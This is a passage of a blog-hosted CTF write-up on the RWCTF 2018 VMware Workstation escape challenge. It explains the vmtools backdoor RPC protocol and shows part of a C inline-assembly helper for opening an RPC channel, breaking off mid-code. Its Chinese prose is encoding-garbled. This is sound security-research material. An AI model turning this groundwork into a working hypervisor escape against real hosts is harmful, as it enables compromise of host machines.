1 2 3 4 5<!doctype html> 6<html lang="en" class="no-js"> 7 <head> 8 9 <meta charset="utf-8"> 10 <meta name="viewport" content="width=device-width,initial-scale=1"> 11 <meta http-equiv="x-ua-compatible" content="ie=edge"> 12 13 <meta name="description" content="Kernel, Blockchain, CTF Crypto&PWN"> 14 15 16 <link rel="canonical" href="https://beafb1b1.github.io/backup/realworldctf_2018_stationescape/"> 17 18 19 <meta name="author" content="b1b1"> 20 21 22 <meta name="lang:clipboard.copy" content="Copy to clipboard"> 23 24 <meta name="lang:clipboard.copied" content="Copied to clipboard"> 25 26 <meta name="lang:search.language" content="en"> 27 28 <meta name="lang:search.pipeline.stopwords" content="True"> 29 30 <meta name="lang:search.pipeline.trimmer" content="True"> 31 32 <meta name="lang:search.result.none" content="No matching documents"> 33 34 <meta name="lang:search.result.one" content="1 matching document"> 35 36 <meta name="lang:search.result.other" content="# matching documents"> 37 38 <meta name="lang:search.tokenizer" content="[\s\-]+"> 39 40 <link rel="shortcut icon" href="../../assets/images/favicon.png"> 41 <meta name="generator" content="mkdocs-1.0.4, mkdocs-material-4.4.3"> 42 43 44 45 <title>RWCTF2018 station-escape - b1b1's share</title> 46 47 48 49 <link rel="stylesheet" href="../../assets/stylesheets/application.30686662.css"> 50 51 <link rel="stylesheet" href="../../assets/stylesheets/application-palette.a8b3c06d.css"> 52 53 54 55 56 <meta name="theme-color" content="#3f51b5"> 57 58 59 60
60<script src="../../assets/javascripts/modernizr.74668098.js"></script>
60 61 62 63 64 <link href="https://fonts.gstatic.com" rel="preconnect" crossorigin> 65 <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,400i,700|Roboto+Mono&display=fallback"> 66 <style>body,input{font-family:"Roboto","Helvetica Neue",Helvetica,Arial,sans-serif}code,kbd,pre{font-family:"Roboto Mono","Courier New",Courier,monospace}</style> 67 68 69 <link rel="stylesheet" href="../../assets/fonts/material-icons.css"> 70 71 72 73 74 75 76 </head> 77 78 79 80 <body dir="ltr" data-md-color-primary="indigo" data-md-color-accent="indigo"> 81 82 <svg class="md-svg"> 83 <defs> 84 85 86 <svg xmlns="http://www.w3.org/2000/svg" width="416" height="448" viewBox="0 0 416 448" id="__github"><path fill="currentColor" d="M160 304q0 10-3.125 20.5t-10.75 19T128 352t-18.125-8.5-10.75-19T96 304t3.125-20.5 10.75-19T128 256t18.125 8.5 10.75 19T160 304zm160 0q0 10-3.125 20.5t-10.75 19T288 352t-18.125-8.5-10.75-19T256 304t3.125-20.5 10.75-19T288 256t18.125 8.5 10.75 19T320 304zm40 0q0-30-17.25-51T296 232q-10.25 0-48.75 5.25Q229.5 240 208 240t-39.25-2.75Q130.75 232 120 232q-29.5 0-46.75 21T56 304q0 22 8 38.375t20.25 25.75 30.5 15 35 7.375 37.25 1.75h42q20.5 0 37.25-1.75t35-7.375 30.5-15 20.25-25.75T360 304zm56-44q0 51.75-15.25 82.75-9.5 19.25-26.375 33.25t-35.25 21.5-42.5 11.875-42.875 5.5T212 416q-19.5 0-35.5-.75t-36.875-3.125-38.125-7.5-34.25-12.875T37 371.5t-21.5-28.75Q0 312 0 260q0-59.25 34-99-6.75-20.5-6.75-42.5 0-29 12.75-54.5 27 0 47.5 9.875t47.25 30.875Q171.5 96 212 96q37 0 70 8 26.25-20.5 46.75-30.25T376 64q12.75 25.5 12.75 54.5 0 21.75-6.75 42 34 40 34 99.5z"/></svg> 87 88 </defs> 89 </svg> 90 <input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off"> 91 <input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off"> 92 <label class="md-overlay" data-md-component="overlay" for="__drawer"></label> 93 94 <a href="#realworldctf-final-station-escape-writeup" tabindex="1" class="md-skip"> 95 Skip to content 96 </a> 97 98 99 <header class="md-header" data-md-component="header"> 100 <nav class="md-header-nav md-grid"> 101 <div class="md-flex"> 102 <div class="md-flex__cell md-flex__cell--shrink"> 103 <a href="https://beafb1b1.github.io/" title="b1b1's share" class="md-header-nav__button md-logo"> 104 105 <i class="md-icon">î </i> 106 107 </a> 108 </div> 109 <div class="md-flex__cell md-flex__cell--shrink"> 110 <label class="md-icon md-icon--menu md-header-nav__button" for="__drawer"></label> 111 </div> 112 <div class="md-flex__cell md-flex__cell--stretch"> 113 <div class="md-flex__ellipsis md-header-nav__title" data-md-component="title"> 114 115 <span class="md-header-nav__topic"> 116 b1b1's share 117 </span> 118 <span class="md-header-nav__topic"> 119 120 RWCTF2018 station-escape 121 122 </span> 123 124 </div> 125 </div> 126 <div class="md-flex__cell md-flex__cell--shrink"> 127 128 <label class="md-icon md-icon--search md-header-nav__button" for="__search"></label> 129 130<div class="md-search" data-md-component="search" role="dialog"> 131 <label class="md-search__overlay" for="__search"></label> 132 <div class="md-search__inner" role="search"> 133 <form class="md-search__form" name="search"> 134 <input type="text" class="md-search__input" name="query" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="query" data-md-state="active"> 135 <label class="md-icon md-search__icon" for="__search"></label> 136 <button type="reset" class="md-icon md-search__icon" data-md-component="reset" tabindex="-1"> 137  138 </button> 139 </form> 140 <div class="md-search__output"> 141 <div class="md-search__scrollwrap" data-md-scrollfix> 142 <div class="md-search-result" data-md-component="result"> 143 <div class="md-search-result__meta"> 144 Type to start searching 145 </div> 146 <ol class="md-search-result__list"></ol> 147 </div> 148 </div> 149 </div> 150 </div> 151</div> 152 153 </div> 154 155 <div class="md-flex__cell md-flex__cell--shrink"> 156 <div class="md-header-nav__source"> 157 158 159 160 161 162<a href="https://github.com/beafb1b1/beafb1b1.github.io/" title="Go to repository" class="md-source" data-md-source="github"> 163 164 <div class="md-source__icon"> 165 <svg viewBox="0 0 24 24" width="24" height="24"> 166 <use xlink:href="#__github" width="24" height="24"></use> 167 </svg> 168 </div> 169 170 <div class="md-source__repository"> 171 beafb1b1/beafb1b1.github.io 172 </div> 173</a> 174 </div> 175 </div> 176 177 </div> 178 </nav> 179</header> 180 181 <div class="md-container"> 182 183 184 185 186 187 188 189 190<nav class="md-tabs md-tabs--active" data-md-component="tabs"> 191 <div class="md-tabs__inner md-grid"> 192 <ul class="md-tabs__list"> 193 194 195 <li class="md-tabs__item"> 196 197 <a href="../.." class="md-tabs__link"> 198 home 199 </a> 200 201 </li> 202 203 204 205 206 207 <li class="md-tabs__item"> 208 209 <a href="../../kernel/linux_kernel_base/" class="md-tabs__link"> 210 linux kernel 211 </a> 212 213 </li> 214 215 216 217 218 219 220 <li class="md-tabs__item"> 221 222 <a href="../../blockchain/collision/" class="md-tabs__link"> 223 blockchain 224 </a> 225 226 </li> 227 228 229 230 231 232 233 <li class="md-tabs__item"> 234 235 <a href="./" class="md-tabs__link md-tabs__link--active"> 236 backup 237 </a> 238 239 </li> 240 241 242 243 </ul> 244 </div> 245</nav> 246 247 <main class="md-main" role="main"> 248 <div class="md-main__inner md-grid" data-md-component="container"> 249 250 251 <div class="md-sidebar md-sidebar--primary" data-md-component="navigation"> 252 <div class="md-sidebar__scrollwrap"> 253 <div class="md-sidebar__inner"> 254 <nav class="md-nav md-nav--primary" data-md-level="0"> 255 <label class="md-nav__title md-nav__title--site" for="__drawer"> 256 <a href="https://beafb1b1.github.io/" title="b1b1's share" class="md-nav__button md-logo"> 257 258 <i class="md-icon">î </i> 259 260 </a> 261 b1b1's share 262 </label> 263 264 <div class="md-nav__source"> 265 266 267 268 269 270<a href="https://github.com/beafb1b1/beafb1b1.github.io/" title="Go to repository" class="md-source" data-md-source="github"> 271 272 <div class="md-source__icon"> 273 <svg viewBox="0 0 24 24" width="24" height="24"> 274 <use xlink:href="#__github" width="24" height="24"></use> 275 </svg> 276 </div> 277 278 <div class="md-source__repository"> 279 beafb1b1/beafb1b1.github.io 280 </div> 281</a> 282 </div> 283 284 <ul class="md-nav__list" data-md-scrollfix> 285 286 287 288 289 290 291 <li class="md-nav__item"> 292 <a href="../.." title="home" class="md-nav__link"> 293 home 294 </a> 295 </li> 296 297 298 299 300 301 302 303 <li class="md-nav__item md-nav__item--nested"> 304 305 <input class="md-toggle md-nav__toggle" data-md-toggle="nav-2" type="checkbox" id="nav-2"> 306 307 <label class="md-nav__link" for="nav-2"> 308 linux kernel 309 </label> 310 <nav class="md-nav" data-md-component="collapsible" data-md-level="1"> 311 <label class="md-nav__title" for="nav-2"> 312 linux kernel 313 </label> 314 <ul class="md-nav__list" data-md-scrollfix> 315 316 317 318 319 320 321 322 <li class="md-nav__item"> 323 <a href="../../kernel/linux_kernel_base/" title="linuxå æ ¸åºç¡" class="md-nav__link"> 324 linuxå æ ¸åºç¡ 325 </a> 326 </li> 327 328 329 330 331 332 333 334 <li class="md-nav__item"> 335 <a href="../../kernel/ciscn_2017_babydriver_UAF/" title="CISCN2017 babydriver(UAF)" class="md-nav__link"> 336 CISCN2017 babydriver(UAF) 337 </a> 338 </li> 339 340 341 342 343 344 345 346 <li class="md-nav__item"> 347 <a href="../../kernel/qwb_2018_core_ROP/" title="QWB2018 core(ROP)" class="md-nav__link"> 348 QWB2018 core(ROP) 349 </a> 350 </li> 351 352 353 354 355 356 357 358 <li class="md-nav__item"> 359 <a href="../../kernel/ciscn_2017_babydriver_ROP_bypass_smep/" title="CISCN2017 babydriver(ROP)" class="md-nav__link"> 360 CISCN2017 babydriver(ROP) 361 </a> 362 </li> 363 364 365 366 367 368 369 370 <li class="md-nav__item"> 371 <a href="../../kernel/qwb_2018_core_ret2usr/" title="QWB2018 core(ret2usr)" class="md-nav__link"> 372 QWB2018 core(ret2usr) 373 </a> 374 </li> 375 376 377 378 379 380 381 382 <li class="md-nav__item"> 383 <a href="../../kernel/0ctf2018_babykernel_double_fetch/" title="0CTF2018 babykernel(DF)" class="md-nav__link"> 384 0CTF2018 babykernel(DF) 385 </a> 386 </li> 387 388 389 390 391 392 393 394 <li class="md-nav__item"> 395 <a href="../../kernel/starctf2019_hackeme_arw/" title="STARCTF2019 hackme(ARW)" class="md-nav__link"> 396 STARCTF2019 hackme(ARW) 397 </a> 398 </li> 399 400 401 402 403 404 405 406 <li class="md-nav__item"> 407 <a href="../../kernel/BPF_IntOF/" title="RW BPF(Integer Overflow)" class="md-nav__link"> 408 RW BPF(Integer Overflow) 409 </a> 410 </li> 411 412 413 414 415 416 417 418 <li class="md-nav__item"> 419 <a href="../../kernel/balsn2019_Kcrazynote/" title="balsn2018 Krazynote" class="md-nav__link"> 420 balsn2018 Krazynote 421 </a> 422 </li> 423 424 425 </ul> 426 </nav> 427 </li> 428 429 430 431 432 433 434 435 <li class="md-nav__item md-nav__item--nested"> 436 437 <input class="md-toggle md-nav__toggle" data-md-toggle="nav-3" type="checkbox" id="nav-3"> 438 439 <label class="md-nav__link" for="nav-3"> 440 blockchain 441 </label> 442 <nav class="md-nav" data-md-component="collapsible" data-md-level="1"> 443 <label class="md-nav__title" for="nav-3"> 444 blockchain 445 </label> 446 <ul class="md-nav__list" data-md-scrollfix> 447 448 449 450 451 452 453 454 <li class="md-nav__item"> 455 <a href="../../blockchain/collision/" title="èµææ¶é" class="md-nav__link"> 456 èµææ¶é 457 </a> 458 </li> 459 460 461 462 463 464 465 466 <li class="md-nav__item"> 467 <a href="../../blockchain/realworldctf_2019_bank/" title="RWCTF2019 bank" class="md-nav__link"> 468 RWCTF2019 bank 469 </a> 470 </li> 471 472 473 474 475 476 477 478 <li class="md-nav__item"> 479 <a href="../../blockchain/n1ctf_2019_smartcontract/" title="N1CTF2019 h4ck Smart Contract" class="md-nav__link"> 480 N1CTF2019 h4ck Smart Contract 481 </a> 482 </li> 483 484 485 486 487 488 489 490 <li class="md-nav__item"> 491 <a href="../../blockchain/hctf_2018_ez2win/" title="HCTF2018 ez2win" class="md-nav__link"> 492 HCTF2018 ez2win 493 </a> 494 </li> 495 496 497 498 499 500 501 502 <li class="md-nav__item"> 503 <a href="../../blockchain/bctf2018_fake3d_eosgame/" title="BCTF2018 Fake3d&EOSGAME" class="md-nav__link"> 504 BCTF2018 Fake3d&EOSGAME 505 </a> 506 </li> 507 508 509 510 511 512 513 514 <li class="md-nav__item"> 515 <a href="../../blockchain/ciscn2019_daysbank/" title="CISCN 2019 Daysbank" class="md-nav__link"> 516 CISCN 2019 Daysbank 517 </a> 518 </li> 519 520 521 522 523 524 525 526 <li class="md-nav__item"> 527 <a href="../../blockchain/qwb2019_babybank_babybet/" title="QWB 2019 babybank&babybet" class="md-nav__link"> 528 QWB 2019 babybank&babybet 529 </a> 530 </li> 531 532 533 534 535 536 537 538 <li class="md-nav__item"> 539 <a href="../../blockchain/byte2019_bet_hf/" title="ByteCTF 2019 bet&hf" class="md-nav__link"> 540 ByteCTF 2019 bet&hf 541 </a> 542 </li> 543 544 545 546 547 548 549 550 <li class="md-nav__item"> 551 <a href="../../blockchain/szjj_2019_jojo/" title="æ°åç»æµ 2019 jojo" class="md-nav__link"> 552 æ°åç»æµ 2019 jojo 553 </a> 554 </li> 555 556 557 558 559 560 561 562 <li class="md-nav__item"> 563 <a href="../../blockchain/szjj_2019_final_cow_rise/" title="æ°åç»æµ 2019 final rise cow" class="md-nav__link"> 564 æ°åç»æµ 2019 final rise cow 565 </a> 566 </li> 567 568 569 </ul> 570 </nav> 571 </li> 572 573 574 575 576 577 578 579 580 581 <li class="md-nav__item md-nav__item--active md-nav__item--nested"> 582 583 <input class="md-toggle md-nav__toggle" data-md-toggle="nav-4" type="checkbox" id="nav-4" checked> 584 585 <label class="md-nav__link" for="nav-4"> 586 backup 587 </label> 588 <nav class="md-nav" data-md-component="collapsible" data-md-level="1"> 589 <label class="md-nav__title" for="nav-4"> 590 backup 591 </label> 592 <ul class="md-nav__list" data-md-scrollfix> 593 594 595 596 597 598 599 600 601 602 <li class="md-nav__item md-nav__item--active"> 603 604 <input class="md-toggle md-nav__toggle" data-md-toggle="toc" type="checkbox" id="__toc"> 605 606 607 608 609 <label class="md-nav__link md-nav__link--active" for="__toc">
610 RWCTF2018 station-escape 611 </label> 612 613 <a href="./" title="RWCTF2018 station-escape" class="md-nav__link md-nav__link--active"> 614 RWCTF2018 station-escape 615 </a> 616 617 618<nav class="md-nav md-nav--secondary"> 619 620 621 622 623 624 <label class="md-nav__title" for="__toc">Table of contents</label> 625 <ul class="md-nav__list" data-md-scrollfix> 626 627 <li class="md-nav__item"> 628 <a href="#_1" class="md-nav__link"> 629 åç½®ç¥è¯ 630 </a> 631 632 <nav class="md-nav"> 633 <ul class="md-nav__list"> 634 635 <li class="md-nav__item"> 636 <a href="#open-rpc-channel" class="md-nav__link"> 637 Open RPC channel 638 </a> 639 640</li> 641 642 <li class="md-nav__item"> 643 <a href="#send-rpc-command-length" class="md-nav__link"> 644 Send RPC command length 645 </a> 646 647</li> 648 649 <li class="md-nav__item"> 650 <a href="#send-rpc-command-data" class="md-nav__link"> 651 Send RPC command data 652 </a> 653 654</li> 655 656 <li class="md-nav__item"> 657 <a href="#recieve-rpc-reply-length" class="md-nav__link"> 658 Recieve RPC reply length 659 </a> 660 661</li> 662 663 <li class="md-nav__item"> 664 <a href="#receive-rpc-reply-data" class="md-nav__link"> 665 Receive RPC reply data 666 </a> 667 668</li> 669 670 <li class="md-nav__item"> 671 <a href="#finish-receiving-rpc-reply" class="md-nav__link"> 672 Finish receiving RPC reply 673 </a> 674 675</li> 676 677 <li class="md-nav__item"> 678 <a href="#close-rpc-channel" class="md-nav__link"> 679 Close RPC channel 680 </a> 681 682</li> 683 684 </ul> 685 </nav> 686 687</li> 688 689 <li class="md-nav__item"> 690 <a href="#_2" class="md-nav__link"> 691 æ¼æ´åæ 692 </a> 693 694</li> 695 696 <li class="md-nav__item"> 697 <a href="#_3" class="md-nav__link"> 698 æ¼æ´å©ç¨ 699 </a> 700 701</li> 702 703 <li class="md-nav__item"> 704 <a href="#_4" class="md-nav__link"> 705 å ³äºè°è¯ 706 </a> 707 708</li> 709 710 <li class="md-nav__item"> 711 <a href="#_5" class="md-nav__link"> 712 ç¸å ³ææ 713 </a> 714 715</li> 716 717 718 719 720 721 </ul> 722 723</nav> 724 725 </li> 726 727 728 729 730 731 732 733 <li class="md-nav__item"> 734 <a href="../gitpage_fuck/" title="gitpageéå" class="md-nav__link"> 735 gitpageéå 736 </a> 737 </li> 738 739 740 </ul> 741 </nav> 742 </li> 743 744 745 </ul> 746</nav> 747 </div> 748 </div> 749 </div> 750 751 752 <div class="md-sidebar md-sidebar--secondary" data-md-component="toc"> 753 <div class="md-sidebar__scrollwrap"> 754 <div class="md-sidebar__inner"> 755 756<nav class="md-nav md-nav--secondary"> 757 758
759 760 761 762 <label class="md-nav__title" for="__toc">Table of contents</label> 763 <ul class="md-nav__list" data-md-scrollfix> 764 765 <li class="md-nav__item"> 766 <a href="#_1" class="md-nav__link"> 767 åç½®ç¥è¯ 768 </a> 769 770 <nav class="md-nav"> 771 <ul class="md-nav__list"> 772 773 <li class="md-nav__item"> 774 <a href="#open-rpc-channel" class="md-nav__link"> 775 Open RPC channel 776 </a> 777 778</li> 779 780 <li class="md-nav__item"> 781 <a href="#send-rpc-command-length" class="md-nav__link"> 782 Send RPC command length 783 </a> 784 785</li> 786 787 <li class="md-nav__item"> 788 <a href="#send-rpc-command-data" class="md-nav__link"> 789 Send RPC command data 790 </a> 791 792</li> 793 794 <li class="md-nav__item"> 795 <a href="#recieve-rpc-reply-length" class="md-nav__link"> 796 Recieve RPC reply length 797 </a> 798 799</li> 800 801 <li class="md-nav__item"> 802 <a href="#receive-rpc-reply-data" class="md-nav__link"> 803 Receive RPC reply data 804 </a> 805 806</li> 807 808 <li class="md-nav__item"> 809 <a href="#finish-receiving-rpc-reply" class="md-nav__link"> 810 Finish receiving RPC reply 811 </a> 812 813</li> 814 815 <li class="md-nav__item"> 816 <a href="#close-rpc-channel" class="md-nav__link"> 817 Close RPC channel 818 </a> 819 820</li> 821 822 </ul> 823 </nav> 824 825</li> 826 827 <li class="md-nav__item"> 828 <a href="#_2" class="md-nav__link"> 829 æ¼æ´åæ 830 </a> 831 832</li> 833 834 <li class="md-nav__item"> 835 <a href="#_3" class="md-nav__link"> 836 æ¼æ´å©ç¨ 837 </a> 838 839</li> 840 841 <li class="md-nav__item"> 842 <a href="#_4" class="md-nav__link"> 843 å ³äºè°è¯ 844 </a> 845 846</li> 847 848 <li class="md-nav__item"> 849 <a href="#_5" class="md-nav__link"> 850 ç¸å ³ææ 851 </a> 852 853</li> 854 855 856 857 858 859 </ul> 860 861</nav> 862 </div> 863 </div> 864 </div> 865 866 867 <div class="md-content"> 868 <article class="md-content__inner md-typeset"> 869 870 871 <a href="https://github.com/beafb1b1/beafb1b1.github.io/blob/dev/docs/backup/realworldctf_2018_stationescape.md" title="Edit this page" class="md-icon md-content__icon"></a> 872 873 874 <h1 id="realworldctf-final-station-escape-writeup">RealWorldCTF Final Station-Escape Writeup<a class="headerlink" href="#realworldctf-final-station-escape-writeup" title="Permanent link">¶</a></h1> 875<p>RWCTF Final 2018æ¯æä»¬è§å¾é常ä¸éç䏿¬¡ç«èµï¼é常贴è¿å®æï¼å ¶ä¸æ¯éé¢ç®é½å¼å¾æ·±å ¥ç ç©¶ãå ¶ä¸Station-Escapeæ¯ä¸éVMWare Workstationéé¸çé¢ç®ï¼æä»¬è§å¾é常coolï¼æä»¥è¿è¡äºè¯¦ç»åæï¼è¿éé常æè°¢é¿äºç§æçflyyyå¸å è´¡ç®çé常ä¼ç§çé¢ç®åæå¿çææ¯æå¯¼ãæ¬æåæå·¥ä½ç±r3kapigçNe0åbibi宿ã</p> 876<h2 id="_1">åç½®ç¥è¯<a class="headerlink" href="#_1" title="Permanent link">¶</a></h2> 877<p>å¨VMWareä¸ï¼æä¸ä¸ªå¥ç¹çæ»å»é¢ï¼å°±æ¯vmtoolsãvmtools帮å©å®¿ä¸»æºåå®¢æ·æºå®æå æ¬æä»¶ä¼ è¾å¨å çä¸ç³»åçéä¿¡å交äºï¼å ¶ä¸ä½¿ç¨äºä¸ç§è¢«ç§°ä¸ºbackdoorçæ¥å£ãbackdooræ¥å£æ¯å¦ä½å宿主æºè¿è¡éä¿¡çå¢ï¼æä»¬è§å¯backdoor彿°çå®ç°ï¼å¯ä»¥åç°å¦ä¸ä»£ç ï¼</p> 878<div class="codehilite"><pre><span></span><span class="n">MOV</span> <span class="n">EAX</span><span class="p">,</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="cm">/* magic number */</span> 879<span class="n">MOV</span> <span class="n">EBX</span><span class="p">,</span> <span class="n">command</span><span class="o">-</span><span class="n">specific</span><span class="o">-</span><span class="n">parameter</span> 880<span class="n">MOV</span> <span class="n">CX</span><span class="p">,</span> <span class="n">backdoor</span><span class="o">-</span><span class="n">command</span><span class="o">-</span><span class="n">number</span> 881<span class="n">MOV</span> <span class="n">DX</span><span class="p">,</span> <span class="mi">5658</span><span class="n">h</span>
881 <span class="cm">/* VMware I/O Port */</span> 882 883<span class="n">IN</span> <span class="n">EAX</span><span class="p">,</span> <span class="n">DX</span> <span class="p">(</span><span class="n">or</span> <span class="n">OUT</span> <span class="n">DX</span><span class="p">,</span> <span class="n">EAX</span><span class="p">)</span> 884</pre></div> 885 886<p>é¦å éè¦æç¡®çæ¯ï¼è¯¥æ¥å£å¨ç¨æ·æå°±å¯ä»¥ä½¿ç¨ãå¨é常ç¯å¢ä¸ï¼INæä»¤æ¯ä¸æ¡ç¹ææä»¤ï¼å¨æ®éç¨æ·æç¨åºä¸æ¯æ æ³ä½¿ç¨çãå æ¤ï¼è¿è¡è¿æ¡æä»¤ä¼è®©ç¨æ·æç¨åºåºéå¹¶é·åºå°hypervisorå±ï¼ä»èhypervisorå±å¯ä»¥å¯¹å®¢æ·æºè¿è¡ç¸å ³çæä½åå¤çï¼å æ¤å©ç¨æ¤æºå¶å®æäºéä¿¡ãå©ç¨backdoorçéä¿¡æºå¶ï¼å®¢æ·æºä¾¿å¯ä»¥ä½¿ç¨RPCè¿è¡ä¸ç³»åçæä½ï¼ä¾å¦ææ¾ãå¤å¶ãè·åä¿¡æ¯ãåéä¿¡æ¯ççã</p> 887<p>backdooræºå¶ææçå½ä»¤åè°ç¨æ¹æ³ï¼åºæ¬é½æ¯é¦å 设置å¯åå¨ãç¶åè°ç¨INæOUTç¹ææä»¤ç模å¼ãé£ä¹æä»¬ä½¿ç¨backdoorä¼ è¾RPCæä»¤éè¦ç»è¿åªäºæ¥éª¤å¢ï¼æä»¬ä»¥æ¬é¢æ¶åå°çbackdooræä½è¿è¡è¯´æï¼</p> 888<div class="codehilite"><pre><span></span> <span class="o">+------------------+</span> 889 <span class="o">|</span> <span class="nx">Open</span> <span class="nx">RPC</span> <span class="nx">channel</span> <span class="o">|</span> 890 <span class="o">+---------+--------+</span> 891 <span class="o">|</span> 892 <span class="o">+------------</span><span class="nx">v</span><span class="o">-----------+</span> 893 <span class="o">|</span> <span class="nx">Send</span> <span class="nx">RPC</span> <span class="nx">command</span> <span class="nx">length</span><span class="o">|</span> 894 <span class="o">+------------+-----------+</span> 895 <span class="o">|</span> 896 <span class="o">+------------</span><span class="nx">v</span><span class="o">-----------+</span> 897 <span class="o">|</span> <span class="nx">Send</span> <span class="nx">RPC</span> <span class="nx">command</span> <span class="nx">data</span> <span class="o">|</span> 898 <span class="o">+------------+-----------+</span> 899 <span class="o">|</span> 900 <span class="o">+-------------</span><span class="nx">v</span><span class="o">------------+</span> 901 <span class="o">|</span> <span class="nx">Recieve</span> <span class="nx">RPC</span> <span class="nx">reply</span> <span class="nx">length</span> <span class="o">|</span> 902 <span class="o">+-------------+------------+</span> 903 <span class="o">|</span> 904 <span class="o">+------------</span><span class="nx">v</span><span class="o">-----------+</span> 905 <span class="o">|</span> <span class="nx">Receive</span> <span class="nx">RPC</span> <span class="nx">reply</span> <span class="nx">data</span> <span class="o">|</span> 906 <span class="o">+------------+-----------+</span> 907 <span class="o">|</span> 908<span class="o">+--------------</span><span class="nx">v</span><span class="o">-------------+</span> 909<span class="o">|</span> <span class="nx">Finish</span> <span class="nx">receiving</span> <span class="nx">RPC</span> <span class="nx">reply</span> <span class="o">|</span> 910<span class="o">+--------------+-------------+</span> 911 <span class="o">|</span> 912 <span class="o">+---------</span><span class="nx">v</span><span class="o">---------+</span> 913 <span class="o">|</span> <span class="nx">Close</span> <span class="nx">RPC</span> <span class="nx">channel</span> <span class="o">|</span> 914 <span class="o">+-------------------+</span> 915</pre></div> 916 917<blockquote> 918<p>以ä¸å 容主è¦åèï¼è¯¥ææ¡£åçå®éåæ åµç¥æåºå ¥ï¼å°ä¼å¨åæä¸è¯´æï¼ï¼<a href="https://sites.google.com/site/chitchatvmback/backdoor">https://sites.google.com/site/chitchatvmback/backdoor</a></p> 919</blockquote> 920<h3 id="open-rpc-channel">Open RPC channel<a class="headerlink" href="#open-rpc-channel" title="Permanent link">¶</a></h3> 921<blockquote> 922<p>RPC subcommandï¼00h</p> 923</blockquote> 924<p>è°ç¨INï¼OUTï¼åï¼éè¦è®¾ç½®çå¯åå¨å 容ï¼</p> 925<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span> 926<span class="n">EBX</span> <span class="o">=</span> <span class="mi">49435052</span><span class="n">h</span> <span class="o">-</span> <span class="n">RPC</span> <span class="n">open</span> <span class="n">magic</span> <span class="n">number</span> <span class="p">(</span><span class="err">'</span><span class="n">RPCI</span><span class="err">'</span><span class="p">)</span> 927<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0000</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span> 928<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span> 929<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span> 930</pre></div> 931 932<p>è¿åå¼ï¼</p> 933<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span> 934<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">RPC</span> <span class="n">channel</span> <span class="n">number</span> 935</pre></div> 936 937<p>该åè½ç¨äºæå¼RPCçchannelï¼å ¶ä¸ECXä¼è¿åæ¯å¦æåï¼EDXè¿åå¼ä¼è¿åä¸ä¸ªchannelçç¼å·ï¼å¨åç»çRPCéä¿¡ä¸ï¼å°ä½¿ç¨è¯¥ç¼å·ãè¿ééè¦æ³¨æçæ¯ï¼å¨åä¸ªèææºä¸åªè½åæ¶ä½¿ç¨8个channelï¼<code>#0 - #7</code>ï¼,å½å°è¯æå¼ç¬¬9个channelçæ¶åï¼ä¼æ£æ¥å ¶ä»channelçæå¼æ¶é´ï¼å¦ææ¶é´è¿äºæä¸ä¸ªå¼ï¼ä¼å°è¶ æ¶çchannelå ³éï¼åæè¿ä¸ªchannelçç¼å·è¿åï¼å¦æé½æ²¡æè¶ æ¶ï¼create channelä¼å¤±è´¥ã</p> 938<p>æä»¬å¯ä»¥ä½¿ç¨å¦ä¸å½æ°å®ç°Open RPC channelçè¿ç¨ï¼</p> 939<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_open</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 940 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">
940\n\t</span><span class="s">"</span> 941 <span class="s">"movq %%rdi,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 942 <span class="s">"movq %%rsi,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 943 <span class="s">"movq %%rdx,%%r12</span><span class="se">\n\t</span><span class="s">"</span> 944 <span class="s">"movq %%rcx,%%r13</span><span class="se">\n\t</span><span class="s">"</span> 945 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 946 <span class="s">"movl $0xc9435052,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 947 <span class="s">"movl $0x1e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 948 <span class="s">"movl $0x5658,%%edx</span><span class="se">\n\t</span><span class="s">"</span> 949 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 950 <span class="s">"movl %%edi,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 951 <span class="s">"movl %%esi,(%%r11)</span><span class="se">\n\t</span><span class="s">"</span> 952 <span class="s">"movl %%edx,(%%r12)</span><span class="se">\n\t</span><span class="s">"</span> 953 <span class="s">"movl %%ecx,(%%r13)</span><span class="se">\n\t</span><span class="s">"</span> 954 <span class="o">:</span> 955 <span class="o">:</span> 956 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span 